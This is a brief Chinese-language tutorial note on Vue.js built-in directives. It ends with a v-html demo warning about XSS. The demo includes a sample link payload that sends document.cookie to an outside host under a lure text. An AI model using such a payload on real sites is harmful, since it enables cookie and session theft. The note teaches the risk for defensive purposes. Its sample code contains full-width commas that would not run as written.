Vue 知识点：内置指令

Vue 知识点：内置指令

指令：
   v-bind: 单向绑定解析表达式，可简写：:xxx
   v-model: 双向数据绑定
   v-for: 遍历数组/对象/字符串
   v-on: 绑定事件监听，可简写：@
   v-if: 条件渲染（动态控制节点是否存在）
   v-else: 条件渲染（动态控制节点是否存在）
   v-show: 条件渲染（动态控制节点是否展示）
   v-text:
     1.作用：向其所在的节点中渲染文本内容
     2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
   v-html：
     1.作用：向指定节点中渲染包含html结构的内容
     2.与插值语法的区别：
        （1）v-html会替换掉节点中所有的内容，{{xx}}则不会
        （2）v-html可以识别html结构
     3.严重注意⚠️：v-html有安全性问题
        （1）在网站上动态渲染任意html是非常危险的，容易导致xxs攻击
        （2）一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上


<div id="root">
   <div>你好，{{name}}</div>
   <div v-html="str"></div>
   <div v-html="str2"></div>
</div>

<script>
new Vue({
   el:'#root',
   data:{
      name:'陈同学'，
      str:'<h3>你好啊，陈同学</h3>'，
      str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>我有你想要的资源，快来！</a>'
   }
})
</script>

注意：如果浏览器的application里的cookie里的key，value，还有HttpOnly钩上之后是有可能避免这种泄露网站cookie信息的。